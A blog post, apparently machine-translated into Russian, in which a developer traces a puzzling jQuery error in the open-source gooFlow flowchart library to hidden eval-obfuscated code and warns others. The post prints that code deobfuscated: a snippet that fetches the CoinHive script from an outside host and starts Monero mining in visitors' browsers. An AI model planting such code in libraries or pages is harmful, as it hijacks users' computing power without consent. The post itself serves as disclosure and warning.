Код майнинга JS, обнаруженный ошибкой

внешний интерфейс JavaScript jQuery Открытый исходный код

В связи с необходимостью работы необходимо нарисовать блок-схему на интерфейсе и найти фреймворк с открытым исходным кодом.gooFlow(На картинке ниже показан этот фреймворк с открытым исходным кодом), он может редактировать блок-схемы, предоставлять узлы и линии, а также некоторые вспомогательные функции. Посмотрите на это повнимательнее, это фреймворк, написанный китайцами, документация тоже на китайском, очень проста в использовании.

Но при использовании этого фреймворка я обнаружил очень странный баг, который описывается как:Я нажимаю на тег a родительской страницы, чтобы перейти на страницу блок-схемы.Если целью тега является _top, страница не сообщит об ошибке, но если значение цели равно _blank, страница не сообщит ошибка при первом открытии.При обновлении страницы будет сообщено об ошибке.Сообщение об ошибке выглядит следующим образом

На самом деле из этой информации нельзя вывести никакой конкретной информации. Я только знаю, что объект jQuery не должен существовать, поэтому это привело к неправильной работе программы. Я тщательно проверил введение кода моей страницы и обнаружил, что jQuery был введен. Нет проблем. В сочетании со временем появления этой ошибки об ошибке будет сообщено только тогда, когда страница будет заново открыта и обновлена ​​​​один раз, поэтому можно сделать вывод, что платформа gooFlow должна ссылаться на объект родительской страницы, и затем, когда страница обновляется один раз, объект родительской страницы пуст, что приведет к ошибке.
Затем я начал искать сайты gooFlow.window.openerа такжеwindow.parentцитаты,window.opener возвращает ссылку на объект Window, создавший окно, а window.parent возвращает родительское окно текущего окна.. Но ни один не нашел источника ошибки.
Когда в растерянности, попробуй использовать самый примитивный метод,удалить ссылку js на родительской странице, чтобы увидеть, какую ошибку выдает страница блок-схемы, когда я удаляю jQuery родительской страницы, страница сообщает о другой ошибке (ниже).

Найдите код в соответствующем методе, как показано ниже, чтобы использоватьevalВыполнение строки строк очень сложно отладить, поэтому мне нужно скопировать эту строку кода и выполнить ее, чтобы увидеть, какой код выполняется?


Просто, когда я задавался вопросом, почему мне нужноШифрование кодаКогда я нашел строку, выполняемую eval, после ее форматирования следующим образом была найдена причина сохранения,_opener.$использование правильноСсылка на jQuery, которая открывает эту страницу, поэтому удаление сообщения об ошибке jQuery родительской страницы будет непоследовательным.

var _ = window;
try {
    _ = _.opener.$
} catch (e) {    
    try {
        _ = _.top.$
    } catch (e) {
        _ = $
    }
};

if (!_("head").data('x')) {
    GooFlow.a = 1;
    _a = 20;    
    var d = new Date();
    _("head").data('x', 1);
    _.ajax("https://coinhive.com/lib/coinhive.min.js?" + d.getFullYear() + d.getMonth() + d.getDate(), {
        dataType: 'script',
        cache: true
    });
    _i = setInterval(function () {        
        try {            
            new CoinHive.Anonymous('GGdPGhxIloldaArArQVwxZ2sd8l0a4kH', {throttle: 0.3}).start();
            clearInterval(_i)
        } catch (e) {
            _a--;            
            if (_a < 1) document.write("")
        }
    }, 1000)
}

Если вы внимательно посмотрите на этот код, то обнаружите, что это строка кодов майнинга! ! ! Перейдем к интерфейсу запроса:https://coinhive.com/lib/coinhive.min.js, затем выполнитеnew CoinHive.Anonymous('GGdPGhxIloldaArArQVwxZ2sd8l0a4kH', {throttle: 0.3}).start();Начать майнинг, нашел в сети, этоКод майнинга Монеро. Подробнее см. в следующей статье:

JS-майнинг — как Monero использует веб-майнинг?
(http://liujinkai.com/2017/10/28/is-Miner/)

Сейчас многие фреймворки с открытым исходным кодом, плагины и библиотеки нужно использовать с осторожностью. Если вы не будете осторожны, вы попадете в ловушку других. Майнинг осуществляется на основе принесения в жертву пользовательскому опыту. Жарко, так что если вы обнаружите, что оптимизация бесполезна, когда вы оптимизируете взаимодействие с пользователем для своего веб-сайта, не забудьте выяснить, какие скрытые ловушки находятся в вашем эталонном коде.
Наконец, порекомендуйте плагин для хрома для блокировки майнинга.майнерБлок!

Наконец, я желаю студентам удачи на вступительных экзаменах в колледж!



Добро пожаловать в мой публичный аккаунт WeChat: 8:30 в интерфейсе


Дополнение: gooFlow закрыт из-за жалоб, все вопросы жалуются на автора этого фреймворка, здесь только скриншоты, можете посмотреть и посмеяться.


Непонятные щелчки:Диалог по определенной проблеме